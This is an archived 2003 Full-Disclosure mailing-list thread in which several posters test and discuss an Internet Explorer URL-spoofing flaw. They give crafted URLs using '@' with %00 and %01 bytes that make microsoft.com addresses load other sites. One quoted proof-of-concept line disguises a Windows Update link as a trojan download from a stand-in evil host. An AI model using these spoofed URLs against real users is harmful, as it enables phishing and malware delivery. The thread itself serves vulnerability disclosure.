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Message-ID: <AFB004A74119D5119FF50002A5510904FCA7F4@EDISON>
From: thomas.tonneson at fortis.co.im (Tonneson, Thomas)
Subject: RE: FWD: Internet Explorer URL parsing vuln
erability
Firebird also re-directs but at least you can see the full address in the
title bar.
Tom Tonneson
-----Original Message-----
From: Rainer Gerhards [mailto:rgerhards@...adiscon.com]
Sent: 10 December 2003 15:06
To: full-disclosure@...ts.netsys.com
Subject: RE: [Full-Disclosure] RE: FWD: Internet Explorer URL parsing
vulnerability
Just to add
http://www.microsoft.com:security%00@....linux.org/
works equally well with Mozilla/5.0 (X11; U; Linux i686; en-US;
rv:1.2.1) Gecko/20030225 under Red Hat Linux 9. So it is not just an IE
issue...
Opera at least displays a decent warning and also replaces the password
part of the credentials in visible display.
Rainer
On Wed, 2003-12-10 at 13:53, Rainer Gerhards wrote:
> Well, 0x00 works even better (as usual). Consider the following URL:
>
> http://www.microsoft.com:security%00@...w%77%2elinu%78%2eorg
>
> This, together with a little social engineering can do much. In my IE
> 6.0.2800.1106.xpsp2.03422-1633 this takes your to www.linux.org, which
> is also shown in the address bar. The status bar will show
> "www.microsoft.com:security" whenever you hover over relative links on
> the site (check with the news). The trick will most probably work will
> with fake sites that remove the address bar.
>
> The 0x00 C string terminator causes often quite some troubles. I
> remember reporting a similar problem to Microsoft some month ago, then
> related to %00 not being correctly parsed by IIS. It was considered
> low
> risk by Microsoft and not immediately addressed (I have to admit I
> actually think this at least not very high risk...). It should be
> addressed by now.
>
> Back to the dicsussed topic: I think it is also not very clever to
> display credentials in the status bar. So if somebody is dumb enough
> to
> actually use URLs with credentials, I think the browser should remove
> them in all visible elements.
>
> Rainer Gerhards
> Adiscon
>
>
>
>
>
>
> ________________________________
>
> From: VeNoMouS [mailto:venom@...-x.co.nz]
> Sent: Wednesday, December 10, 2003 6:03 AM
> To: Julian HO Thean Swee; full-disclosure@...ts.netsys.com
> Subject: Re: [Full-Disclosure] RE: FWD: Internet Explorer URL
> parsing vulnerability
>
>
> umm tested this you dont need %01 either btw.
>
> www.microsoft.com@....linux.org
>
> was messing around with some hex stile as well is there a way
> to
> call a file:// inside a http:// becos the issue with doing the @ trick
> is it appends http:// automaticly, mind you , u could just make it
> exec
> some vb code or something on a site, just a random idea any way
>
> and it dont also seem to work if you use hex as well for the
> full domain ie
>
> www.microsoft.com%40%77%77%77%2E%6C%69%6E%75%78%2E%6F%72%67
>
> nor www.microsoft.com%40www.linux.org
>
> where as if you
> www.microsoft.com@...%77%77%2E%6C%69%6E%75%78%2E%6F%72%67 works
>
>
>
>
>
>
> ----- Original Message -----
>
> From: Julian HO Thean Swee <mailto:jho@...rhub.com>
> To: 'full-disclosure@...ts.netsys.com'
> Sent: Wednesday, December 10, 2003 4:22 PM
> Subject: [Full-Disclosure] RE: FWD: Internet Explorer
> URL parsing vulnerability
>
>
> Hmm, it doesn't seem to work on my browser :)
> I don't even get transported to any page when i click
> the button.
> But then again, i have everything turned off in the
> internet zone by default...
> (but my submit non-encrypted form data is on)
>
> Does it really work then? it looks like it's using
> javascript...? (location.href)
> Merry Christmas everyone :)
>
> --__--__--
>
> Message: 1
> Date: Tue, 9 Dec 2003 10:22:59 -0800 (PST)
> From: S G Masood <sgmasood@...oo.com>
> To: full-disclosure@...ts.netsys.com
> Subject: [Full-Disclosure] RE: FWD: Internet
> Explorer URL parsing vulnerability
>
>
> LOL. This is so simple and dangerous, it
> almost
> made
> me laugh and cry at the same time. Most of you
> will
> realise why...;D
> The Paypal, AOL, Visa, Mastercard, et al email
> scammers will have a harvest of gold this
> month
> with
> lots of zombies falling for this simple
> technique.
>
> ># POC ##########
>
> >http://www.zapthedingbat.com/security/ex01/vun1.htm
>
> Dont be surprised if your latest download from
> http://www.microsoft.com turns out to be a
> trojan!
>
>
> location.href=unescape('http://windowsupdate.microsoft.com%01@...edownlo
> adaneviltrojanfromme.com);
>
>
> --
> S.G.Masood
>
> Hyderabad,
> India
>
> PS: One more thing - no scripting required to
> exploit this.
>
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